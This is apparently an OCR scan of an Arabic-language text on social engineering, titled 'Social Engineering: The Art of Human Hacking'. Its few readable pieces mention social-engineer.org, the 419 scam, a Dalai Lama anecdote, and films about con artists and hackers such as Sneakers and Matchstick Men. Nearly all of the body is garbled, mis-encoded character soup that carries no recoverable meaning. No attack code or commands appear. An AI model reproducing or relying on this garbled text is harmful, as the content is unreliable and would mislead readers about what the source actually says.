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SOCIAL ENGINEERING: THE ART OF HUMAN HACKING 



bociai tngineering 

Exploiting Human Vulnerabilities 



V] ^>a.l <jUaj] CjLg ^jVimV Aj^aaII JjjuJ! j > ^ajjj .AjcI <n^VI <joj^JI ^jc a_*Ic Aa*-<J ^a^j 11a j\\ CjUi jl*-<JI 

^^Jb <J A_^!}La. j t^aixJl^ ci*-?^ ClA-jjjjli i>a& (j^axJ Ajjaiiill Ajt-iiUl j 6(ji3l£ 1 g U aJ ( . u\ -\\\ Ij& ^j) ^jja. ^ .^aig-xJl <j£c <C-I^)J <j!^La. £yz 
. JjSlgJl Ig^Vinn ^1 AjcI *Ja.Vl ^LuijigJl CjIuSj (jiasu J ja. cJlajlVI I^aJ -UjWI 3 hqjll JaSS <^Uua.VI 4jui.%lt JjJa Ja.jj V 4it 



U Jja. pIjVI c> ^axJI ^^jj 4 ji£ ja. JA l^i P <^J j* (SE) (Social Engineering) 

t5 lc. J jj^aaJl Ja.) (j* l_jj£3I SE O^*-^^ ^ UJ^ ls^ I^A <_£j| j3 j . cJaxj j Ajc.Uua.VI ^Lajai^Jl 

Jj3 ^aalaiJ! CjI jjVI iaSfl SE u' UJJ^ cSjd -15^*^1 ^UjuaVI ^ J jj^iaJl J I jlull Jla A^iUll Ajjla^Jl jI jxll 

j j'oo^i ^jjaUI) (js\\ (JjSj Uuj jI .CjL^laj j\ CjVjU-xa jI s-I^^ ^Q^jj (j£-u ^aixJl Ail Uuj jl ;^ucjLa^3l <Jla.^)3l jl (jj-G^a^l 

jll jl ^)aLuJl (JlLd JixJl 6 jS ^Ijajjail ^^ic Sjjall (jjjojjUuJl e-UacV lSo^ 3 L>0 ALo 
c flja jlaJl ^^ic <J jj^ail <L^)Ia cJ cJ^^^ .' < SH i (J^^^ lS^ W^J^ 4jc-^ 3 uaal^Jl ^laaJLajl 

Sj ja. ^ Uiajl Jj ajuj^U ^^jjaLill j jjt > .oil JIacVI ^Ua3 jl jaaJ) i—lAaJ <JC.Uua.Vl AjojJ^JI ,Ajl£-<Jl jlc j ^UjjVI (jc laJJ 
Ajc.Uua.VI Ajojji^Jl ;d!j! ^1 (Jl* .^jl^ail AjJajc l^ixaj ^^^J ^Ui jIslxJI ^jc ^Ja j ^alajujVl^j c^uc jla^xJl <jLa.^)3lj c^u-d^a^Jl aic 

^Aiiia^Jl CjUilaajjajVl jjAslSI l^J^ Sbl ^^>^ O^J 6 ^^>^ J' ^J^ 1 ^ lM1 J^ 

^ ^ilaxJl ^JlxJl Ijj ^aJ^ UJ^ ^ <ua.VI Ajujji^Jl diljl^xi ^laajjujl A-iij£ ^^Jc. ciLijC ^jflj < . IjA 6Jj! jl! CjU» jIslaII 

AjJajC Jal gaJ t flj£ ^Itjj lLu\ ^j-d .Ul*Jl ^1 ( -Luja^ CjIjI^aII ojA ^laajjaiL "jljjaiVI" Ajjj£ Ai^stxij Ajc.Uua.VI Ajojji^Jl 

.AjcI <ua>Vl Ajujji^Jl CjI ^a^J 

I^jI .ClinaJl JLlUIj t'Vlj jjuJI djUjall" dlia. ^<ua A\ ^ 4^1hA\ bljjll <^Uj ^3i^.U Ajli .g.lixjJaI3 (jjul c_j\ji3l liA i^lj 
jjjj (^jI! CjIjjVIj CjI^jj^jII ^jia^xjjaijj .(jJC ^ a <A\ jLa.^)3lj (JjUjujI jaJl 1 ^ ^ lajjaJ Ajc.Uua.VI Ajujji^Jl diVla^i ^.atjjj t ftjujaj 
Ajujji^Jl CjlAjjjUjjaj ^US Ajjj£ ^Jjjj (j-dj A£jJjuLa1I A_L<i jJl oUaJl L_flSI t^^Jasu Aili ttilli AiUiaVU .jj ^j" <ua ^Lfl Cuajjuj l^Jl 
.^u-d^a^Jl c^^- 'UJ^'^ <^-VI OJ'" ^ ^ (J-ft cJ^^^J "lJ^I^I l>^" t "'^J ( ; Aja^i ^jli 4L_flUa>Jl AjI^J ^ .6jj« ^11 Ajc.Uua.VI 

,^J Aj^laJl A^lxJl luIjVI j) AjJalxJ J jj3 J ja. j Aajjj (jjiijjj V "jIjjoiVI" | laJjaJ jaJl ,CjUi 6JA t &juj£ ( . Ujuj ^jc cJ^ 4 ^ (J^t»^1 
^ V^J .Aijiia^d ^j^a.1 (jj^J (jl ( ; laj V CjI^jjoJI ^jV I>^*j ^jjoA jj V Aij^!j£3! ,aJ jla^Jl JjuoS jxj (jjiijjj V ^jl 
(jli tlfra ^l^u (j^l jj^*^ ^^J> ^^>jl CjI^jjoi jlaj Uujj J£ j djjjjVl jLua-Vl j 6(jjila j-<Jl ^IjaJ AjcUua.Vl Ajojji^Jl 

^^QJ^jUuIojVI (j-a JjlxJl ^JtiljJ .^j^alauujVI f&j £y*^l Ajjaull AjiJl ^fl ^ j^- c ^ > ^ ^ OJi&'^l ^-i^alj^l 

(j£-u ^^jII (j^)ia3l JJaJ ^aJ (jxi j t^lUA (j-d CjUu>jJI ja. 1 <uLu j Uc j ^Aj^ajj ^j^)ia3l t . Aj£]1 I jA (Jj^Uj ^^^Iasu ^jju! tilli j . jUaJl ^Sl 

CjLujjjjall Aa^l£-G cJW^ (jg& 6Jj|^)3l a£jjuo3I i^^j^i^ijJS Cjj^ula a JJ9J /'^jIxjII J^La. ^ja 0-«Vl" ^jIxjoi ,^AjjJa AjUuJI l^laaujoal 
is*j .2009 (^- c * ^Uc.Uua.VI CjI£jJo3I J^la. ^ AlLnaJi LljLia^jJl qa 100 '000 0* J^' ^ dillS dna tL-jUa^jJl AjUu^j 
,CjUu>^JI c5^>^^^ J^*^^ (j-Q "lalai CjI j-g JO AjcUua.VI CjI^JjoJ! jjJa CjUu>jJI" ^jl ^^^joj^JjojI^ jj9 ;l^)a.j>» J^>^ J^J^ 

http://www.social-engineer.org/ 
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(SE) 4jftt-<ua.VI <L*ii$JI Jja. AjuAjM\ foAliaJl 9.1 



i^Vl^ dijl£ lLu^ CjUL^-VI C-LQ>i^aj (j-<i^U ^jjjaiA^L<JI (j-G Ac * ^^Ic (JIjjuJ! Ii& c_ ill - u 

.CjU jLlaII J jj^aail (jJill L_li£Jl ^ AjcI ol^VI 4_joi.%1I 

..iia. JiLui <jl j& ajcLgI^VI <joja1^J1 

(jjjJaij jl Lo cJ-ftaJ (jj-ajli (JjjUJI cJ*^ a ^ ^1. t*\\sM\ ^ <c. j ^ * (jc SjUc J <J J**^ (jl J-*^ (j*" W*^>*^ ^ J \.VJ^JJ 

£ jj jj;^^ ^Uaj ^1 <J jj^ jll jl tJLn^VI 6CjU» jlx-all £-<^. <jla^>il (JjL bill jl ^l^iJl ^^ic S^lc s j;^>^ ^ILj^aII (jli ."Ajjjuj CjLg j1*-aJ 

,"^■^1 A^ jl Igj^j I^jI V ^-iVUJl Lpasu ^ 

Igib 4joj1^JI Uiajl l-a^xjj /'^ola ^ jj^I djta!>lcj tA^lijll toLiaJlj Aalxlall jj*VI" lAjLiicU ^UcLal^VI J^iJ <j^j-ats 
^LixJIj jjjol^JIj Cjl^^p^ £.Uj ^ <J-^1I cg.LiAj£Jl jl ^Ujjiill La£ tAja ill a jl*-ll Ai^>x-a (j-a ^^AaxII (jJ^ Acli^ ^lc jl (ja" 

"/ojjlixi SA^ta I^&Lg jl ^IjlkVI jl AjjUu^II ^il j 6(jLoJ! j t^t^l \a\\ j 
^ jAJLj Sjtg-a c^k- jA cdlj ^ J-ua£Sfl jl ^ Aj^Lu^VI <tuillfll jl Aijaua <U j$-uuj dl£ «j (j^jjull ^ fr*^ 

a ^gjL^ L_U| (J^3U ^ I j^j jIajI 

JliSaVl <Ljia3l ^ jJl oli^Jl ^ AjoI ol^VI 5-joj^JI ^l^klaal ^ij .(jllxi J£ ^ ^Ul^VI j-^^ Jl Jjtil t^J^ ^^>*^^ ^ 

(J jj^a^Jl jl ^jjoiill ^Lolcj t^Lal a allj ;^Ll!aVI ^J^la t^J^Ua ^xi (Jclilll ^jj>At-<Jl <9J^)Ja ^ * ^ iklLoal ^aJJ _^_JUaJ ^j>Aa£LaaJ ^aA^UI 
4jI^j ^jjooII Jclijll CjVI^<» cJ^ ^ la^. a laJLujJ 4J| t^jjjlill ^^ald <JL^ ^ ^j£U31j 4^I^JjojI ^jj ^^^LislSI jl ^AljJa^ ^jxi CjLd jls^ ^^^ic 

uJb L-iC-^a]! JLapI ^ J-^ AjC'Lu^VI a 1 " ^ <^1| uLjauil jl J j£3 j cil]^ ^ AxjI S c_ijj*lll 11^ j) ^jl 

J j>^^ll jl t J jj^a jll ^ tdjU jlx^JI J ja^JI I1a JxuIj jl (ji^j . M ui^Jt M 4-aluA4 ^ V j\ ^ f ' 

.<lia^ CjUIj^I iUJV t^^JI 
:^j^VI CjILjsuJI o^aau 

.L^aJj^k dla > j jL^ajl djLu5J ^l^kjjajU IAaC til jlwolU l_jc!>Ij1I ^ja <j| ^^ic <ij^>xJ cillil .Aj*al jll ^LiaJl (jc ^isu lAj^xjII 11a 
^jj^ ^jJall til jLuill ^ o^lilaaVI '(jfl' 4_icLai^.Vl ^Lujli^ll (jl j j^.1 JjAj Jjijoij ^jJa jj duta SAN ^ T ^ 

.^J c_^^ill ^ ^ <j| I V Jl^ (AjauJall jl) 
^^JjoiaII CjLu£ill 4il ^^ic 4_icUu^.VI <juj^JI L_flJ^su (j^J ^— ^ ^11 1^ (j^f^ ^ L^ 1 ^^ (J^Jl L - ^^>*^l ^ L>^ ^ 

u A m\ uiaJl diUi jIslaII (j^tlj J-^^l (3^*^ ^•^ c ' ^ jl«-Jl (j-«l (J^J ^-f*-»iilU (j^l J til jlj^l^ 4Jc!>Ij3I jl diUi jlst-xJl ^1 jl^V 



^jU^^.1 ajjouIU SjLuA (jj^ii (^ill CjI^I^^VI il^iV Ai^A AjcUu^VI ^ mY^I ^^L^JI ci^-^)ll ^^*^>nj 1 a\u AjjouIU 6^1^. 



_L^_Lq l^3^ t jl 



ji£l! jl (JjjUII ^l^k c: 



jjj 4_ic.Uu^.VI 3 i o 1^ II .1^. 4 alia a L_fll^Al ^J^l cl£lj '^JJ^^ 

66jl^<Jlj 6(JaxJI (jjl£jujj \ju& ^jJa jj LdAlc jUaVI djj^AaII CjI jI^aII (jx» Ac a l^i^lj ^lj (J-oC ^^^^ ( 1 ' ^1 AjcLdla.VI 4 i " II 
6^1iJ II ^aJJ j > V. (jxi (jj^JJ l^j£lj cJais *l^lj J- ^ lc (jC 6jUc dljaul AjuI^)3I Aj^. jll (jl 4(jj^)Iall (Jjoaj _^ixllj 

.^J^ll oUall (Jlxi j& MyW LS C>\ a)^^] (jjj.V^ a\\ tAjcUu^VI AjojA^JI (jj^J (jl jjj^jI c flj£ li^ .CAi j^-Jl (jxi ^j^slII AiLjalj ta^ lala j 

(jj^lj o^j c3^^ tifcl j^a (jjjoi^jl (jl ^l^^j Ui ^t^uj^ll jj£jlill (j£J j 6L_ij| j^ll lP 3 *^ ^jU^II li^ 4<J-^ll A yjjjnj 

Jixll J-a*J ^^1 Aajjiallj ^^cLdla.VI (Jjj V^ a\\ Sj^S ^^JsaxJ AJ j^-juoII (jJ^I jll L_JC.!^JJ (jl Jikll (j^-ftJ c flj£ .tiluiij 

(jjjlill Jj£ j ^ib c flj£ ia^.!^j ,aJ > n j (JjjUII AjjliJ Ai^s«-xi ^ o^cLoaJ ^^1 j aIIojVI aIa^LujI ^Luoij ( . inlal (j^J c Lj£ ia^.^b ,(_^jjoii3l 
jl^JaV (jjjMiljMillj CjLd j^ail (j^J t * a J^ ^JJ cl£^ . L -^'^^ L>^ jl*-JI (^^-Ic J jj^^Jl A-iii^ ^ L^jJalj l^J^ia ^ lajt-ll ^^.U L_jI j^LujI 

til^j ^UaVI j micro expressions j^^ J c> lP 3 *^ <-U^ j j^ll <^l ^ V Uj ^Ij^j U jijbll <j* jj£I 
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CA x-IIaII ^jALd AiaOl (j* (jlaxJ d il jo^ all lP 3 *^ J^al J*JjujI <J^-^> (j* . a J^ <jojA^J| CjUjajll £>i& a I lalLujI (^JJ (jl 

( . ulaJl JJ^Jj CliaJl (J^La (j>» ^aJ z"^"' ^11 JP^jj 6 ^ J<3 > ttj (JjjUII IgJfl £jJaJ 4Aa!ylc pUj ^aixJJ ^jl aJ ^allxJl ^USVI £.l^)fa.j 

JJjUll Cj|jlg_xJl a I laJLujI i£ &J t flj£ a1*JJ (jl &J 4(J^3 jj^Mj 4(jJtla*xJl (j^Uillj (j^^La^l <jLa.^)3l tALiaJl £>i& (j* j^-VI 

^)Jajj (jl LLaJaa.^ ^UjoiI <U jla^-a (j* ^^l j L_fl jaJl ^a^ jl A-ix-ifla Ad& ^J^l (jl J^Jl ^A JJC. j (j^Lua.VI (jjuvV^ all e-VjA 

SjLjall A_icLua.VI <joj^JI CjLaaJb j (JjjUI! AaJla.* ^ jl^lailj Ajljlg^a ^jjuoaJJ LlinaJl JLolLJI 4^a jJl ^3lc ^ L_Lujbl! .l^ll jU^-q ^1 

.ajIxjII 11a ^jjjLujI ^^ic t flj - ajj (jl (j^j AjV t^jjjUll ^iLu ^1 hi cjUl^JI (j* ^jAxJ! < . uaj (j£-<uJI ^ ^JS jli 
{jgk .lg-cia j\ Ia jj^j ^jj (jl (j* Aila IgJl < * a j^j aJLJI CjULoi^JI AjjLg ^ l^)a.j>» (jjjSUI c_ u£ 4 jt > .^1 (jUaj (^Ic <Jt!La£ 

jjuJ! A-aK (jjoij jj^a^juxj (JjjUII (j-a J^-*^ (j] .(J^^^Vh a 1 ^ ^ ^ J^ ( ** ^ ^ "(JAa^j" J^-^ ^A ^aS <jujaLL<J! UI^J Aj^I a a!1 JjUjuj 

50 i^C* iS 4_xlLoi3 ^jia^xJ ^acUaxJl ^.1 ^ dljl j ^^ijl C ? *n^> 6<! > gj 4j> >*Ml CjUi ^LujIj ^jjjUII ^aUa >i j!i3 

jj j t^jUill (jl jjc j 6^!>LxJI j ^^-^ (jl .kaa cililc (jl£ ^(jia^xjl 11a (j* ftjlilui^U .AjUJI <jli^. jkl\ Sjj^ lS^^ 

e I^J Jfi ^aA^I (jl JjVl ^11^11 ^ ClSa^V ^3) tiL (j-aUJl ^jjjilVI ^jjJI <j' W^jjj f V ' " C-jl > 1 JJ><» 

us 

The 419 Scam 

aiA Jlia ^ jjiixJI td&Aj .^Uj r^n^ l ^Ij t (Nigerian Scam) c^j^^^ f^W ^j^Jtj The 419-scam 

■ http:> ^e.html ^ A ^u'^kW 

^ <aij^l| ^ji^j ^aUHl ^ a ll^j Lq cJ^j 4 ^ ; j ^ <ai^3 (j^ak 4iL o^^j l_a^JI ^1 cPjJ^) ^jW^ (JjjLujVI ^ 

(j-d (JUJI (j>» ^ aJLojj <! (Jjuj^)J (Jjuj^a3I (jli ;(Jjuj^<JI S^cIjuia 4_i^jJa3l lili /d^LoixJI (j>i (J;iWl 

^aJJ (jl ^XJ ,^a JJUJJ J ^ ^ ^ ^ cJ^^)-^^ J(g tli^ ^^^ic (Jsl jJj (_^j| j L_fl^Jl ^L^aj3 .<JjudJ cilL<»J ^^ill 4 JJI^Vl til jiJl 

(jxi Jmi^Jj (Jl ^dl (_^l (_^^)J V A_i^jJall .^-wjl (_^A^i (^^-Sc ^!LdJ (jl (j^»J I^A j .I^£a j (_^^>^l ^a JJ^jj ^ll^J (_^^)^l ^ K >*>1 a laJ ^a JJ^JJ 

tA^j JjIj j ^ (jl (jlxuJl (> Aj] ^ 4 ha. (j2lA^ Aa^jaill Jxa^ U .^UxJl ^ ^J^l jV 50^000 $- 10^000 $ 

.Aja - ^all CjlcUua.1 ^a^SJ (jl (j£>uJl (j>» (^^^j 6 c3^JJ^J 
^JUaj AjiauJall J jC-j ^-^J OJ*J*! UJ^ *^ ( - ua .Aja - tall ^^j' ^ ^ A uj l^JL 0 j| J ^ajL Cilia. c5^>^>VI L-iilLajVI (J^asu Cj j^j ^3 l^)a.j>» 

AjjlLi jVj^ 10 6 000 JJ* > ^ <Jaj L_fl^Jl (jl Cilia. ^ (jxi 6 jlij UJ jjir > ^ ^ ja. ^ jjuj JjILJI ^JJj (J^^ (j* f ^ 1 U 

tdjUil^sLSl j JblaVU diUil^jl ^ Aijj^aJ A-iauJall LoAk. j ^ jJli-A ^ill A > f Ml I^A (jl liA aK *)a\\ (j£3 j toiaU L_S jjuj Laj 

The Dalai Lama and Social Engineering *k 

tiA ^ A^^ luixlt (Jjiall ^ .UV ^Vl^ll A^ jIaJI A^juiti djUUl j ^1 jaJl ^1 J jj^a jll jjlj>^iH Al^aljill (j* Ac j^a^ Cj^IjI 

?^a.U3l ^a j^Jl 

^aUuA^l! j;iL<i ^a j^^ll li^ .^J^-?-^ ^5^* ^J^^l J^^ J <Jj^^^ (_^VWI t . n£ ^ c . ula^ll (^5^3 ^_USh (jj-Aa-l^xJl ^ala Clua. 

^Ajc.Uua.VI A mi,V^1I j Ajj^jill Ua. jl jj^J (j-« ^ J^ 

; JU3I Jajl jll J^U (> JUul! hA — \t tdjSxj 

http://www.social-engineer.org/wi]d/archives/Spies/Spies-DalaiLama.hto^ 
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I A \u ill) (JA AS1a\ J_ 

IjALo j£ CljLa jLlaII Lia> jl jj^J <J^* J QAi gaji gaaJLaJ*! (j-a AaJ ^1 oljJ Jii tajljVI jl A^J^Jl jl L_JC jll a^i) A_LaiLai (j-a <jl£ s-l jjuj ^Lfl ^1 
(jja>ja^all (jla^su . jj* jJJ-a^lL LlllAaJ AjI jl ^^jojjjja j^A jl Ajj^^a Ajj^jiJ dlULaC ^! L— )>IaJ LaJJC ciUij AjUaaJ (_£^l J 

(jC ^aAjlsulj jj£-aaJl t - UJ ujj J t . UjujJJ jS (_£jJl j JJ jJJ^H AjujLuoI jl-gJa] c£l t . 6 l-^> J *&J^ lLjI^VI (j-a ^ s-IjSjVI 

La IjA j tl& jl^jl ^ajJ ^jL.nl J^> Jl LaLI (J^xJjoiJ j AjuuoJ (jj^J La SjIc Ajj^jsll CjULaC (jl AjjjLa ^jx* ^aC jll Jc j .A_Lal jjll ^i^l A^J^ 

I jcl Wii.il (jjill ^3lflVI ^ C59^ J^i Lai jJa>l Jjj (jl Jl LixijJ 
.<Jl_a*-a]| 11a J (jj3jla*-a3l (j-a A^_a» j-all CllblajjVI (j-a 1^ J^^l 4 ; J(£ ^ J^-^F^J ^"^J^'H J 

.ajc! i <juj^JI daLijij] jLlxu» JUa ^jjjlj j&j ^jjjoujjj (jj]| Jjfl ^j-^ &1] 1992 Ajja jc ^Li3l li& ((jjlLoilall) iSneakers 
£.!>Ia3lI! s^cLuox t^lli j tA-iiaVl ^aiaill J a >^>^ull Tiger Team2 style a-^j^ jrt s- 5 jA^ ^^hj^ ^ ^ 

"j jjujVI (jjAL^all" <jla-alc j^-^- ^^-J^V tilli J j^JI J JJJ^ lS^ L>* ^ ^ L3^^)^^ .^LuJl CjUl^JI AjJa ^li^ll (JjJaSl j^J 

^JjjLi .SAaJLoJl djLV j!3 jj^unll ^aUaj ^1 i^c* <j| I jLau£l l_ i jl^-aJ) ^I^jIojI AijjS j (jJjLa j3 ^1 A j > (jj^J ^3 l^ju 

<jjtj^a 4 ^ ^aL»! jA ^ U ^nlj ^JjlLia a 4 QjQ^ I ^-^^ Lo ^jlc^jjuj (j^Jj II ^jjjaixi ^1 jl^_aJl ^ L<-J 

CjLuaj ^^^-Sc jlj-<u» (JLLa jA ^ jjoj VI Jjj.Aij^al! jl^-^ ^L^.^)JjujI A aqa llili 4_La ( . lilaJj "4^ j^Jl ^jjjaa-a" ^jjjLa ^a L_J^)jij Clll^ uLoJI 
A ^J^xilj>» tiljLujj (JjjLg ^A^l^)^.! 4 AjaloJ !>Ll9 ^La*Jj t^jjlLla a LaA ^ ^jJjjjauJ! /o^^xlxJl AjcI al^VI A i u li^ II 

(jljjVI j ^UucVl La ! (Pretext) ^ j^^l J jjj^ LaA j <-alA ^i-aj ^jJ jjjoixJI ^ (j;iiil ^V jl .lU^ Cy* 

^$ jjoj (jj^J (jl clHJ^ ^V^ M1 J c — * <»— iLa j1s«-a3I (h5 ^. J *La j^aJl J JJJ^-a JlLa Cj^jII 6^ j^Jl (j-a CllJJJ ^JaxJl j A > ^ill 

LaA!)l£ uj jLaajl ^JjljL^J (jjill (JjjLII JiLa LaLaJ j^jj L_fljj^i3lj Cj JJ^I 6 LpjLa IflJJijl v •^Lil d^A <J£ _Jaaa *La j^Jl (j-a 

^Ui]| _6^jJa AAaJLaaJ L_fl jjoj jj J^a£ ^jL^ja <j j£ 4jjj£aJl ^Jj^Jl jl A^J^cLua^a Lai [AIq a\\ ^^ic j^JJ <Lt-a>Jj (JJjLa ^^ic 1 Wir > >ij 

^jJa c^Ludll VLa-a V ^-^J dljLj AALIjI ^HjIj I j-al5 dlSj J£ J t^J^cLo^a Jc 3ial j-al! J ^JjjLaJ ^L^Aj I jiC^J ^Jli tillij 

I^A (j-a <JC.Lal^.VI 4juj1^JI j - gaJC> . jLll^.1 4_iLa*J ^flj clPj^ 6 L5 1 ' ^^J^ J^La-aJl ^ ^.bVl (j-a ^C. jll Jc .^Lilxill ^jLjA 

Ai^A (JJjLa (3^J .A ^ - gall jj^Usl!) Jc jj£jli3l 4_i^jJall jj Sjl^j CjLaKll jLlklj tJjiLalill ^cj j-a jA ,^ uLall 

^lAaJLujI (Jj^la (jC tilli ^aJJ t^^kl 6^a .(Jl jqltnVl <j!>tk (j-a J jj^ jll (J^lA 3 Cp" J 6 ^ J^*^ (jj.Vu<n\l Aj3 ^flJ ^ n<all ^aL^jaV ^Li^J 

oikUl ^jLujJ AjJ (jl Lc^-a (Jl ffimVl L_ala j^ (j-a L_JjJflJ ^Jj^ill ^Ljacl (j-a ^.1 j .AjcLal^Vl Ajoj^JI (j-a d^.1 j A-lj^J (j-a jj£I ^jijaj 
^j| Uc..la i g.1 m > nl ^Lt-aJ (Jl jjj > I c ^LSV jLa^a J ^J^)i3l e-LjacI j.<al>.>u3 ^J j^JIj ^-LajuJ! (jiaSjJ (Jl jqltnVl L_ala ,^^1^31 

( . n£ a (j>i (jJjLa l_Jjj1j tCliS jll (jjoij J .L&^ AjjLa-a J L_fl^Jl J L_iji3l s-lclLoiV AjjLa-a JxilL jA li^ Ij^ij ^3 

AjSI L^aja]| (j-a ^jj J^ (j* L>^>*-^ . 0 \ 1 ^ (j^ (3^-^ Jj J^A^J ^^"^^ ^-^jj ' clA^ ^ JLujJj <JL£LojVI 

L_ala j-a (JLujJj tCjL jlLllj A£jt£il <J-*-^ C-HJ^ .^LjjjII ^jLoj AlA^ A\ Jl ^J*J jLajjaaVI L_lla j-a .(Jl AujVI L_ala o\S±i\ L_fljj^J LallJ 
JjS (j* t - L3 uaj JbSLuiVI t Lla jxi . (Aj J (j£j ^3 AiUaj) A^SUaJ ^bjluiV Ai^j3 (^^jI AjJ ^ jj V Ail d^a JmII aJI (jo ^IjflbU jLiloaVI 
^jJa jll (j-a L^)A tilli cJ*^ JJ^^ J^ JL^jVI j-a ^4^L "((jjjJll (jjjjaJ! ^iJ" jLaloaVI j-a J ^-jj^aJ (jJjLa t^iLoull t^Ja j-a 

^Lal ^jLJI ^iil Aj l_jc!>Ij3I j ttilLjVI jA jj jl n mil (jxi L_fl^Jl j Aiiik-a Cjl-L^aai uj jLaJijl ^-a (jiiil (Jj^ill ^.Ljacl jla J^-^ o ^ > <all 
C_fl^xJ f-^g^ ^Lill J J AoaVI L_ala j-a ^)fa>J ^3 ,^a.l ^aixJ (jl (jjJ (j-aVI (J^)^- A a^jjjll (jl LaLaJ J jix-all jJ jl n mil jl j^Jl ,(jjjLa 
i^A .(_^^>^.l A^La. (_^l J cJ JJ^ J^^ (j^ I j"^^ clPj^ (jj^J u1 tjLajjojVI L_ala j-a Jaj A^_a. j (j-a ,6 jlxS La ^IjJJ ^aJ LaJjj (J^k Jl (^JjJjoj AjI 

,^Jasl1I J A-iC.Lala.VI Ajujjj^Jl (j^ £jlj (Jlia jA jjalxll L_ic!>lj3l j (JjlLajll jj^Lc J 1 hu >i .a V J^«-a LtjJa j 
^xlaa q J Ajj^jill CjULqC. (jiajc ^lji3l I^A jsuL^ ( . llaJ . Jj3 jjoj (jLI ^-^a^all 1995 AAjuj ^IjjI ^jxi ^Lfl (dljjjjVI Ajj^IjS) iHftCkerS 
(jiasuj ^jjILJI Aja. jl Jc Jai_jJall (JJ Ja (jc nipid-firC ^J^^ jUll (J^Uaj Ajjl! ^^LaJ ^^jll jALuIaSI (jx» JJJ^JI (jla^su I j-als .dlS jll 
J£joij A-ixal j Ajj^jill Ajl! di^La. j l^J jj^. (j^-a-a SjjjL-aJ Al^jill CjULaC. (j-a JJJ^J! (jiajc ^aJ ,til3j (j-a jj£I V j toJ^a^all jjj^II 

(j-a JJJ^JI I j> ^afl j3 Ailj-a j (JaslII ^^)a^a (jl ^ jj^a jj j^ laJ tAJjLa-a > >>l j^ j AjlistjJa Jj^a CjI <aK j 6(jja£jjJ A-aJaj| ( . u£ j ja^ j (jl ' JJJ^ 
.^La-a Ij-al (jj^J ^3 A_lxilj djjj^J A_L^j£3! djLlLaC ^J^J (jl IjJ^Jcl ^Jl jJJJ .Ajj^jUl CjLlLaC. l^_J ^aJJ jll (jjall Jc L_fl^xjl3 cllfl jll 

J t . ujujj jj jjj^£11 (jjjjjja AjLi^j jjj ^j! .(aka Zero Cool J 4-^-a3l) Laic 1 1 j-aJI ^ ^JL3I Jj^ ^ Jl^icl ^-a ^Lill A^^aa Ijjj 

DJ^L-a JJC JJ jJJ-a£il ~t laJLujI (j-a JJJ J^aa^ AJlijcl Asu ,(iljjjjjj Aj^jjJ J Jataj ^Jjuj (jialiaJlj jj jJJ-a£3l 6J^J>.I (j-a 1507 (J^jlj 

6j-alj-a3l f-ljj JJ jJJ-a£il Ajj^JC .Ajlill Jjjaa. jj jJJ-a£ (Jjj JJJS ^1 Jjoj (j!>UaV 6j-alj-a I jLujj^l (jjlLaalall (j-a Ac j-aa^a ^-a Ajl . 1§ 

,^la»Laj Ajjfi3 aJjVI ^^7" J I j-ali ^il (t>1 J^ A_L^I jlll Jc ~* a^jII ^jJa jl ojjjjoJI 

A-uia i>a^ufl J-4a-a . J 
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Ajaill L-jLoa-gJl d^cLoixJ <JC.Lua.VI <juj^JI C-iLia^-LJ AjuIjI! <Ij>»VI (J^asu Jc _£jJaJ 4^ 

ls jj J 4^' jj^ Jajj j^ll 2003 £^ c> 4^ ^ jc- Jta. j) :Matchstick Men 

IA,J_Ij AaaS 4 IaAIj He 5-1 jJa.Vl J L_LaJl j (jLaJl .Ja__! Ajjojlill l^J-Jl j (jC J AjLA (J^UTjl C-L^JJ <jjj| (jb l^lflJj 6 l,Ja. 5-Lujli *U_alaJl 

t^jlc li ja. j-aVl J L£jJ L>^J O^J J ^--C-tju-x} Cj^IjIj (JlUa a IaaIIj ^ju AjjjI l_ fljxJ t &JJJ-* jlaalj J^Loui l^J.-- <jL 

<JljJa.Vlj L_b-__j3l 4-^-* (jC -AjLJjVl JJ^J 6 "^-^J^J J ^ AfrJ_£lc lAjJj 6 l,Ja. AjSi lAAaJj A A£A 4^jLalJ I g j^lj 4 l^-iul - 

.<JJj| £x» SLli. IAjJ 1 laJjudj !}L_C Aa. j j 4 4_^_x_!l tillj (jC £_£JJ ^^ixJjojl JxilUj 6 <JJj| L_liL Jc Is-Lj !>lx_C. AaJ q)j 

. JLj^VI (jJ^ j ojj j£ 3--u_L* Jja. jJall jjii j . jj! t*lj| ja ^ 1988 £^ i> 4* :Dirty Rotten Scoundrels 

Au s-i^ ui <Jla__j| <j!>la. (j-a (JLxJI (j-a 6JJJ-* £^4^ (J* djUjiill ^Lu-ill ^J-laJ ^aj^J (JjJjoj (JxjuLx) jA ((jj*"J^ > (J^JJ^) C-h^ <-!^^ Ajj^kjai 

Aj^jj^^I (Jj^j ^jX filj-dl ^l^. ^^-^ J -U^ J 1 rtgjW LdJ 6J;i^ C-LuJj] AjjAxJl ^jl ISj^J Lft (jtc JjuJ ^j^l^jll 

<cll^a fillet ^aJ .cJ^-J^ ^ J^VI Uil jjoi Vj^ 50 Jjj^ ^ "uj^^ dull 

^jc aj^jIj j J ja. jj^i . jjljV ^-jj^ ^j^-^ 2012 ^ j^^ 3 ] c^^J^ 4^ (j^^^^ ^) -The Imposter 

(J-GjJaJJ jloJ 3 6Aa3 LgLgJ 6 j Laic 16 -^^ ^-^^ (_>J^ > uSj (j-ft <UjIc. ^^kj ^^^judjja L_jUjj 

u^jj^ c> ^ j*^ (4^ Jj^ 2007 ^ jl^-fll 4^ (^^*-^ ^ Ij^ u^) :Live Free or Die Hard 

(j* t CjIjIjoiI ^£aa3lj ;<ali-xJl 4_ijjjjiiti3l jjIjJI JJ Asu ^jc <J JllxJl (J^^ J^J^^ ^ ^AaJl (j* J^^^ 

JjoiLouII li^ l&^J ( Clia jll J 4 > <a1 ^ i JJ>»VI oi^ ^i^a. <J-aC ^aJJ ^jl Ilia. L-Jxj al\ ^ 4il Vj 4(jUa.VI (J^asu J L— >>laJ ^jl ^j£-<uJl 

(jc A ja. j (j* .^—^J^*^^ ^l^ajjajlj Asu ^jc ^^^^joi jJ^Vi ^aJJ ^jl L-Jxj ^->ti ^ ttilli Jj AiLjaVU ,Cj|Aa.VI J ^£a^<Jl 

dlS jll J tilli ^aJ lij 4_j^La. t^UjoiVl Jj^ql j t 4\\aC* Aij Jail C-Lujj] l^jli tAjlika ^jL (Jiasu ^jl £j laJ > >n <lna £c-g!jJ 

(JjjAj (Jjj jjJ J^*^^ 4^ S-^-J^ j 6<jj^ji3l CjUIaC AjJa AjI a^W jj3 jj c . illaJJ AjjjiaJl A-iiaall AjliA\ ^jli ttilli ^ j / u>il \a\\ 

